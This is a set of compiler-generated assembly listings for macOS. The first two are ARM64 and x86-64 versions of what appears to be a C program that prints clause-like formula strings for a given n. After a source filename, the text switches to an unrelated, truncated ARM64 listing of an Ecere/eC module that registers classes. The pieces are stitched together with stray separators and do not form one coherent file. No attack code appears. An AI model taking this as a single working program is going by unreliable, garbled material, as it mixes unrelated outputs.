; implicit-def: $x8
mov x8, x9
mov x9, sp
str x13, [x9]
; implicit-def: $x13
mov x13, x14
str x13, [x9, #8]
str x12, [x9, #16]
str x10, [x9, #24]
; implicit-def: $x10
mov x10, x11
str x10, [x9, #32]
str x8, [x9, #40]
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
ldur w8, [x29, #-20]
; implicit-def: $x13
mov x13, x8
ldur w8, [x29, #-24]
subs w14, w8, #1
ldur w8, [x29, #-20]
; implicit-def: $x12
mov x12, x8
ldur w8, [x29, #-24]
; implicit-def: $x11
mov x11, x8
ldur w8, [x29, #-20]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x13, [x9]
; implicit-def: $x13
mov x13, x14
str x13, [x9, #8]
str x12, [x9, #16]
str x11, [x9, #24]
str x10, [x9, #32]
str x8, [x9, #40]
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_18 Depth=2
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB0_18
LBB0_21: ; in Loop: Header=BB0_16 Depth=1
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_16 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_16
LBB0_23:
mov w8, #1
stur w8, [x29, #-20]
b LBB0_24
LBB0_24: ; =>This Inner Loop Header: Depth=1
ldur x9, [x29, #-40] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
ldr w9, [x9]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_27
b LBB0_25
LBB0_25: ; in Loop: Header=BB0_24 Depth=1
ldur w9, [x29, #-20]
; implicit-def: $x8
mov x8, x9
ldur w9, [x29, #-32]
subs w9, w9, #1
ldur w10, [x29, #-20]
subs w10, w9, w10
mov x9, sp
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldur x9, [x29, #-40] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
ldr w9, [x9]
add w11, w8, w9
ldur w8, [x29, #-20]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_26
LBB0_26: ; in Loop: Header=BB0_24 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_24
LBB0_27:
mov w8, #1
stur w8, [x29, #-20]
b LBB0_28
LBB0_28: ; =>This Loop Header: Depth=1
; Child Loop BB0_30 Depth 2
; Child Loop BB0_34 Depth 2
ldur x9, [x29, #-40] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
ldr w9, [x9]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_39
b LBB0_29
LBB0_29: ; in Loop: Header=BB0_28 Depth=1
mov w8, #1
stur w8, [x29, #-24]
b LBB0_30
LBB0_30: ; Parent Loop BB0_28 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-24]
ldur w9, [x29, #-32]
subs w9, w9, #1
ldur w10, [x29, #-20]
subs w9, w9, w10
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_33
b LBB0_31
LBB0_31: ; in Loop: Header=BB0_30 Depth=2
ldur x10, [x29, #-40] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
; implicit-def: $x13
mov x13, x8
ldur w8, [x29, #-24]
subs w14, w8, #1
ldur w8, [x29, #-20]
; implicit-def: $x12
mov x12, x8
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
ldur w9, [x29, #-20]
ldr w10, [x10]
add w11, w9, w10
ldur w9, [x29, #-20]
ldur w10, [x29, #-24]
add w10, w9, w10
mov x9, sp
str x13, [x9]
; implicit-def: $x13
mov x13, x14
str x13, [x9, #8]
str x12, [x9, #16]
str x8, [x9, #24]
; implicit-def: $x8
mov x8, x11
str x8, [x9, #32]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #40]
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
ldur x10, [x29, #-40] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
; implicit-def: $x13
mov x13, x8
ldur w8, [x29, #-24]
subs w14, w8, #1
ldur w8, [x29, #-20]
; implicit-def: $x12
mov x12, x8
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
ldur w9, [x29, #-20]
ldr w10, [x10]
add w11, w9, w10
ldur w9, [x29, #-20]
ldur w10, [x29, #-24]
add w9, w9, w10
add w10, w9, #1
mov x9, sp
str x13, [x9]
; implicit-def: $x13
mov x13, x14
str x13, [x9, #8]
str x12, [x9, #16]
str x8, [x9, #24]
; implicit-def: $x8
mov x8, x11
str x8, [x9, #32]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #40]
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _printf
b LBB0_32
LBB0_32: ; in Loop: Header=BB0_30 Depth=2
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB0_30
LBB0_33: ; in Loop: Header=BB0_28 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #2
stur w8, [x29, #-24]
b LBB0_34
LBB0_34: ; Parent Loop BB0_28 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-24]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_37
b LBB0_35
LBB0_35: ; in Loop: Header=BB0_34 Depth=2
ldur x9, [x29, #-40] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
ldr w10, [x9]
add w15, w8, w10
ldur w8, [x29, #-24]
subs w14, w8, #1
ldur w8, [x29, #-20]
ldr w9, [x9]
add w13, w8, w9
ldur w8, [x29, #-24]
; implicit-def: $x11
mov x11, x8
ldur w9, [x29, #-20]
; implicit-def: $x8
mov x8, x9
ldur w9, [x29, #-24]
ldur w10, [x29, #-20]
subs w9, w9, w10
subs w10, w9, #2
mov x9, sp
; implicit-def: $x12
mov x12, x15
str x12, [x9]
; implicit-def: $x12
mov x12, x14
str x12, [x9, #8]
; implicit-def: $x12
mov x12, x13
str x12, [x9, #16]
str x11, [x9, #24]
str x8, [x9, #32]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #40]
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
ldur x9, [x29, #-40] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
ldr w10, [x9]
add w15, w8, w10
ldur w8, [x29, #-24]
subs w14, w8, #1
ldur w8, [x29, #-20]
ldr w9, [x9]
add w13, w8, w9
ldur w8, [x29, #-24]
; implicit-def: $x11
mov x11, x8
ldur w9, [x29, #-20]
; implicit-def: $x8
mov x8, x9
ldur w9, [x29, #-24]
ldur w10, [x29, #-20]
subs w9, w9, w10
subs w10, w9, #1
mov x9, sp
; implicit-def: $x12
mov x12, x15
str x12, [x9]
; implicit-def: $x12
mov x12, x14
str x12, [x9, #8]
; implicit-def: $x12
mov x12, x13
str x12, [x9, #16]
str x11, [x9, #24]
str x8, [x9, #32]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #40]
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _printf
b LBB0_36
LBB0_36: ; in Loop: Header=BB0_34 Depth=2
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB0_34
LBB0_37: ; in Loop: Header=BB0_28 Depth=1
b LBB0_38
LBB0_38: ; in Loop: Header=BB0_28 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_28
LBB0_39:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
.comm _n,4,2 ; @n
l_.str.1: ; @.str.1
.asciz "Usage: %s n\n"
l_.str.2: ; @.str.2
.asciz "~%dy%d\n"
l_.str.3: ; @.str.3
.asciz "~%dz%d\n"
l_.str.4: ; @.str.4
.asciz "%dy%d\n"
l_.str.5: ; @.str.5
.asciz "%dz%d\n"
l_.str.6: ; @.str.6
.asciz "~%dy%d %dy%d\n"
l_.str.7: ; @.str.7
.asciz "~%dz%d %dz%d\n"
l_.str.8: ; @.str.8
.asciz "~%dy%d %dz%d ~%dz%d\n"
l_.str.9: ; @.str.9
.asciz "%dy%d %dz%d ~%dz%d\n"
l_.str.10: ; @.str.10
.asciz "%dy%d ~%dy%d ~%dz%d\n"
l_.str.11: ; @.str.11
.asciz "%dy%d ~%dy%d %dz%d\n"
l_.str.12: ; @.str.12
.asciz "%dy%d ~%dy%d ~%dy%d\n"
l_.str.13: ; @.str.13
.asciz "%dy%d ~%dy%d %dy%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
cmpl $2, -8(%rbp)
jne LBB0_2
## %bb.1:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
leaq L_.str(%rip), %rsi
movq _n@GOTPCREL(%rip), %rdx
movb $0, %al
callq _sscanf
cmpl $1, %eax
je LBB0_3
LBB0_2:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -16(%rbp), %rax
movq (%rax), %rdx
leaq L_.str.1(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $-1, %edi
callq _exit
LBB0_3:
movq _n@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _n@GOTPCREL(%rip), %rcx
addl (%rcx), %eax
movl %eax, -32(%rbp)
movl $1, -20(%rbp)
LBB0_4: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -32(%rbp), %eax
jg LBB0_7
## %bb.5: ## in Loop: Header=BB0_4 Depth=1
movl -20(%rbp), %esi
leaq L_.str.2(%rip), %rdi
xorl %edx, %edx
movb $0, %al
callq _printf
movl -20(%rbp), %edx
leaq L_.str.3(%rip), %rdi
xorl %esi, %esi
movb $0, %al
callq _printf
movl -20(%rbp), %esi
movl -32(%rbp), %edx
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movl -32(%rbp), %esi
movl -20(%rbp), %edx
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
## %bb.6: ## in Loop: Header=BB0_4 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_4
LBB0_7:
movl $1, -20(%rbp)
LBB0_8: ## =>This Loop Header: Depth=1
## Child Loop BB0_10 Depth 2
movl -20(%rbp), %eax
cmpl -32(%rbp), %eax
jg LBB0_15
## %bb.9: ## in Loop: Header=BB0_8 Depth=1
movl $1, -24(%rbp)
LBB0_10: ## Parent Loop BB0_8 Depth=1
## => This Inner Loop Header: Depth=2
movl -24(%rbp), %eax
cmpl -32(%rbp), %eax
jg LBB0_13
## %bb.11: ## in Loop: Header=BB0_10 Depth=2
movl -20(%rbp), %esi
movl -24(%rbp), %edx
subl $1, %edx
movl -20(%rbp), %ecx
movl -24(%rbp), %r8d
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
movl -20(%rbp), %esi
subl $1, %esi
movl -24(%rbp), %edx
movl -20(%rbp), %ecx
movl -24(%rbp), %r8d
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
## %bb.12: ## in Loop: Header=BB0_10 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_10
LBB0_13: ## in Loop: Header=BB0_8 Depth=1
jmp LBB0_14
LBB0_14: ## in Loop: Header=BB0_8 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_8
LBB0_15:
movl $1, -20(%rbp)
LBB0_16: ## =>This Loop Header: Depth=1
## Child Loop BB0_18 Depth 2
movl -20(%rbp), %eax
cmpl -32(%rbp), %eax
jg LBB0_23
## %bb.17: ## in Loop: Header=BB0_16 Depth=1
movl $1, -24(%rbp)
LBB0_18: ## Parent Loop BB0_16 Depth=1
## => This Inner Loop Header: Depth=2
movl -24(%rbp), %eax
cmpl -32(%rbp), %eax
jg LBB0_21
## %bb.19: ## in Loop: Header=BB0_18 Depth=2
movl -20(%rbp), %esi
movl -24(%rbp), %edx
subl $1, %edx
movl -20(%rbp), %ecx
subl $1, %ecx
movl -24(%rbp), %r8d
movl -20(%rbp), %r9d
movl -24(%rbp), %eax
leaq L_.str.8(%rip), %rdi
movl %eax, (%rsp)
movb $0, %al
callq _printf
movl -20(%rbp), %esi
movl -24(%rbp), %edx
movl -20(%rbp), %ecx
subl $1, %ecx
movl -24(%rbp), %r8d
movl -20(%rbp), %r9d
movl -24(%rbp), %eax
leaq L_.str.9(%rip), %rdi
movl %eax, (%rsp)
movb $0, %al
callq _printf
movl -20(%rbp), %esi
movl -24(%rbp), %edx
subl $1, %edx
movl -20(%rbp), %ecx
movl -24(%rbp), %r8d
movl -20(%rbp), %r9d
subl $1, %r9d
movl -24(%rbp), %eax
leaq L_.str.10(%rip), %rdi
movl %eax, (%rsp)
movb $0, %al
callq _printf
movl -20(%rbp), %esi
movl -24(%rbp), %edx
subl $1, %edx
movl -20(%rbp), %ecx
movl -24(%rbp), %r8d
movl -20(%rbp), %r9d
movl -24(%rbp), %eax
leaq L_.str.11(%rip), %rdi
movl %eax, (%rsp)
movb $0, %al
callq _printf
## %bb.20: ## in Loop: Header=BB0_18 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_18
LBB0_21: ## in Loop: Header=BB0_16 Depth=1
jmp LBB0_22
LBB0_22: ## in Loop: Header=BB0_16 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_16
LBB0_23:
movl $1, -20(%rbp)
LBB0_24: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
movq _n@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jg LBB0_27
## %bb.25: ## in Loop: Header=BB0_24 Depth=1
movl -20(%rbp), %esi
movl -32(%rbp), %edx
subl $1, %edx
subl -20(%rbp), %edx
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movl -20(%rbp), %esi
movq _n@GOTPCREL(%rip), %rax
addl (%rax), %esi
movl -20(%rbp), %edx
addl $1, %edx
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
## %bb.26: ## in Loop: Header=BB0_24 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_24
LBB0_27:
movl $1, -20(%rbp)
LBB0_28: ## =>This Loop Header: Depth=1
## Child Loop BB0_30 Depth 2
## Child Loop BB0_34 Depth 2
movl -20(%rbp), %eax
movq _n@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jg LBB0_39
## %bb.29: ## in Loop: Header=BB0_28 Depth=1
movl $1, -24(%rbp)
LBB0_30: ## Parent Loop BB0_28 Depth=1
## => This Inner Loop Header: Depth=2
movl -24(%rbp), %eax
movl -32(%rbp), %ecx
subl $1, %ecx
subl -20(%rbp), %ecx
cmpl %ecx, %eax
jg LBB0_33
## %bb.31: ## in Loop: Header=BB0_30 Depth=2
movl -20(%rbp), %esi
movl -24(%rbp), %edx
subl $1, %edx
movl -20(%rbp), %ecx
movl -24(%rbp), %r8d
movl -20(%rbp), %r9d
movq _n@GOTPCREL(%rip), %rax
addl (%rax), %r9d
movl -20(%rbp), %eax
addl -24(%rbp), %eax
leaq L_.str.12(%rip), %rdi
movl %eax, (%rsp)
movb $0, %al
callq _printf
movl -20(%rbp), %esi
movl -24(%rbp), %edx
subl $1, %edx
movl -20(%rbp), %ecx
movl -24(%rbp), %r8d
movl -20(%rbp), %r9d
movq _n@GOTPCREL(%rip), %rax
addl (%rax), %r9d
movl -20(%rbp), %eax
addl -24(%rbp), %eax
addl $1, %eax
leaq L_.str.13(%rip), %rdi
movl %eax, (%rsp)
movb $0, %al
callq _printf
## %bb.32: ## in Loop: Header=BB0_30 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_30
LBB0_33: ## in Loop: Header=BB0_28 Depth=1
movl -20(%rbp), %eax
addl $2, %eax
movl %eax, -24(%rbp)
LBB0_34: ## Parent Loop BB0_28 Depth=1
## => This Inner Loop Header: Depth=2
movl -24(%rbp), %eax
cmpl -32(%rbp), %eax
jg LBB0_37
## %bb.35: ## in Loop: Header=BB0_34 Depth=2
movl -20(%rbp), %esi
movq _n@GOTPCREL(%rip), %rax
addl (%rax), %esi
movl -24(%rbp), %edx
subl $1, %edx
movl -20(%rbp), %ecx
movq _n@GOTPCREL(%rip), %rax
addl (%rax), %ecx
movl -24(%rbp), %r8d
movl -20(%rbp), %r9d
movl -24(%rbp), %eax
subl -20(%rbp), %eax
subl $2, %eax
leaq L_.str.12(%rip), %rdi
movl %eax, (%rsp)
movb $0, %al
callq _printf
movl -20(%rbp), %esi
movq _n@GOTPCREL(%rip), %rax
addl (%rax), %esi
movl -24(%rbp), %edx
subl $1, %edx
movl -20(%rbp), %ecx
movq _n@GOTPCREL(%rip), %rax
addl (%rax), %ecx
movl -24(%rbp), %r8d
movl -20(%rbp), %r9d
movl -24(%rbp), %eax
subl -20(%rbp), %eax
subl $1, %eax
leaq L_.str.13(%rip), %rdi
movl %eax, (%rsp)
movb $0, %al
callq _printf
## %bb.36: ## in Loop: Header=BB0_34 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_34
LBB0_37: ## in Loop: Header=BB0_28 Depth=1
jmp LBB0_38
LBB0_38: ## in Loop: Header=BB0_28 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_28
LBB0_39:
movl -4(%rbp), %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
.comm _n,4,2 ## @n
L_.str.1: ## @.str.1
.asciz "Usage: %s n\n"
L_.str.2: ## @.str.2
.asciz "~%dy%d\n"
L_.str.3: ## @.str.3
.asciz "~%dz%d\n"
L_.str.4: ## @.str.4
.asciz "%dy%d\n"
L_.str.5: ## @.str.5
.asciz "%dz%d\n"
L_.str.6: ## @.str.6
.asciz "~%dy%d %dy%d\n"
L_.str.7: ## @.str.7
.asciz "~%dz%d %dz%d\n"
L_.str.8: ## @.str.8
.asciz "~%dy%d %dz%d ~%dz%d\n"
L_.str.9: ## @.str.9
.asciz "%dy%d %dz%d ~%dz%d\n"
L_.str.10: ## @.str.10
.asciz "%dy%d ~%dy%d ~%dz%d\n"
L_.str.11: ## @.str.11
.asciz "%dy%d ~%dy%d %dz%d\n"
L_.str.12: ## @.str.12
.asciz "%dy%d ~%dy%d ~%dy%d\n"
L_.str.13: ## @.str.13
.asciz "%dy%d ~%dy%d %dy%d\n"
.subsections_via_symbols
| the_stack_data/40761829.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__MapIterator@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__MapIterator@GOTPAGEOFF]
str x8, [sp, #32] ; 8-byte Folded Spill
adrp x8, ___ecereClass___ecereNameSpace__ecere__sys__File@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__sys__File@GOTPAGEOFF]
str x8, [sp, #40] ; 8-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur w1, [x29, #-8]
ldur x2, [x29, #-16]
mov w0, #1
bl ___ecereNameSpace__ecere__com____ecere_COM_Initialize
mov x8, x0
stur x8, [x29, #-32]
adrp x9, ___currentModule@PAGE
mov x8, x0
str x8, [x9, ___currentModule@PAGEOFF]
adrp x8, ___thisModule@GOTPAGE
ldr x8, [x8, ___thisModule@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #2
str w2, [sp, #52] ; 4-byte Folded Spill
adrp x3, ___ecereDll_Load_ec@GOTPAGE
ldr x3, [x3, ___ecereDll_Load_ec@GOTPAGEOFF]
adrp x4, ___ecereDll_Unload_ec@GOTPAGE
ldr x4, [x4, ___ecereDll_Unload_ec@GOTPAGEOFF]
bl ___ecereNameSpace__ecere__com__eModule_LoadStatic
ldr w2, [sp, #52] ; 4-byte Folded Reload
ldur x0, [x29, #-32]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
adrp x3, ___ecereDll_Load_ecere@GOTPAGE
ldr x3, [x3, ___ecereDll_Load_ecere@GOTPAGEOFF]
adrp x4, ___ecereDll_Unload_ecere@GOTPAGE
ldr x4, [x4, ___ecereDll_Unload_ecere@GOTPAGEOFF]
bl ___ecereNameSpace__ecere__com__eModule_LoadStatic
ldur x0, [x29, #-32]
bl ___ecereRegisterModule_ecs
ldur x0, [x29, #-32]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__Application@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__Application@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__Instance@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__Instance@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__Module@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__Module@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Attrib@GOTPAGE
ldr x8, [x8, ___ecereClass_Attrib@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_ClassDefinition@GOTPAGE
ldr x8, [x8, ___ecereClass_ClassDefinition@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_ClassImport@GOTPAGE
ldr x8, [x8, ___ecereClass_ClassImport@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_CodePosition@GOTPAGE
ldr x8, [x8, ___ecereClass_CodePosition@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Context@GOTPAGE
ldr x8, [x8, ___ecereClass_Context@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.10@PAGE
add x1, x1, l_.str.10@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_ContextStringPair@GOTPAGE
ldr x8, [x8, ___ecereClass_ContextStringPair@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.11@PAGE
add x1, x1, l_.str.11@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_DBTableDef@GOTPAGE
ldr x8, [x8, ___ecereClass_DBTableDef@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.12@PAGE
add x1, x1, l_.str.12@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Declaration@GOTPAGE
ldr x8, [x8, ___ecereClass_Declaration@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.13@PAGE
add x1, x1, l_.str.13@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Declarator@GOTPAGE
ldr x8, [x8, ___ecereClass_Declarator@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.14@PAGE
add x1, x1, l_.str.14@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Definition@GOTPAGE
ldr x8, [x8, ___ecereClass_Definition@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.15@PAGE
add x1, x1, l_.str.15@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Expression@GOTPAGE
ldr x8, [x8, ___ecereClass_Expression@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.16@PAGE
add x1, x1, l_.str.16@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_ExtDecl@GOTPAGE
ldr x8, [x8, ___ecereClass_ExtDecl@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.17@PAGE
add x1, x1, l_.str.17@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_External@GOTPAGE
ldr x8, [x8, ___ecereClass_External@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.18@PAGE
add x1, x1, l_.str.18@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_FunctionDefinition@GOTPAGE
ldr x8, [x8, ___ecereClass_FunctionDefinition@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_FunctionImport@GOTPAGE
ldr x8, [x8, ___ecereClass_FunctionImport@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Identifier@GOTPAGE
ldr x8, [x8, ___ecereClass_Identifier@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.21@PAGE
add x1, x1, l_.str.21@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_ImportedModule@GOTPAGE
ldr x8, [x8, ___ecereClass_ImportedModule@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.22@PAGE
add x1, x1, l_.str.22@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Initializer@GOTPAGE
ldr x8, [x8, ___ecereClass_Initializer@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.23@PAGE
add x1, x1, l_.str.23@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Instantiation@GOTPAGE
ldr x8, [x8, ___ecereClass_Instantiation@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.24@PAGE
add x1, x1, l_.str.24@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Location@GOTPAGE
ldr x8, [x8, ___ecereClass_Location@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.25@PAGE
add x1, x1, l_.str.25@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_MethodImport@GOTPAGE
